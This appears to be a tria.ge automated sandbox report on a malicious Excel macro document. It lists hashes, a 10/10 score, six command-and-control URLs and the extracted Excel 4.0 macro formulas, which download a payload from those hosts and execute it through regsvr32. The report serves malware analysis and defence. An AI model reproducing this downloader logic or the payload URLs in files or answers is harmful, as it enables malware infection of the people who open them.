Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    72c790aceb48b56454bbae1bda9a612bc04b4484825a9f44da2c8bcecdf544b0

  • Size

    45KB

  • MD5

    c333f9126081cae58d4db921930aa1b6

  • SHA1

    1e595017c11400041106e9db9f1261b2a8ce86d4

  • SHA256

    72c790aceb48b56454bbae1bda9a612bc04b4484825a9f44da2c8bcecdf544b0

  • SHA512

    e07660c5f9874f7defeb5dbe8022f0bfb42c8e3a468c7804b8c0e335de93942905adbaa59a61dcfee28cfea9e4001f0a3b4056ed9c93e0f219bc7e3cf844fb76

  • SSDEEP

    768:whoExDOevZCwrvtPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Ud0U2qfF:qoExDztT5fTR4Lh1NisFYBc3cr+U2U9N

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://rashed-uzzaman.com/wp-content/XIup3T/

http://vrstar-park.com/wp-includes/9k5kouiyN4tPr/

https://www.swaong.com/assets/Kjy6uoiLsR4Y/

https://starzfoundationtrust.org/lori-toll/aOFfl4bO/

http://vulkanvegasbonus.jeunete.com/wp-content/gGLZbxD/

https://edicionespamies.com/wp-content/PtqJQPSAg5K07Mf/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rashed-uzzaman.com/wp-content/XIup3T/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vrstar-park.com/wp-includes/9k5kouiyN4tPr/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.swaong.com/assets/Kjy6uoiLsR4Y/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://starzfoundationtrust.org/lori-toll/aOFfl4bO/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vulkanvegasbonus.jeunete.com/wp-content/gGLZbxD/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://edicionespamies.com/wp-content/PtqJQPSAg5K07Mf/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 72c790aceb48b56454bbae1bda9a612bc04b4484825a9f44da2c8bcecdf544b0
    .xlsm office2007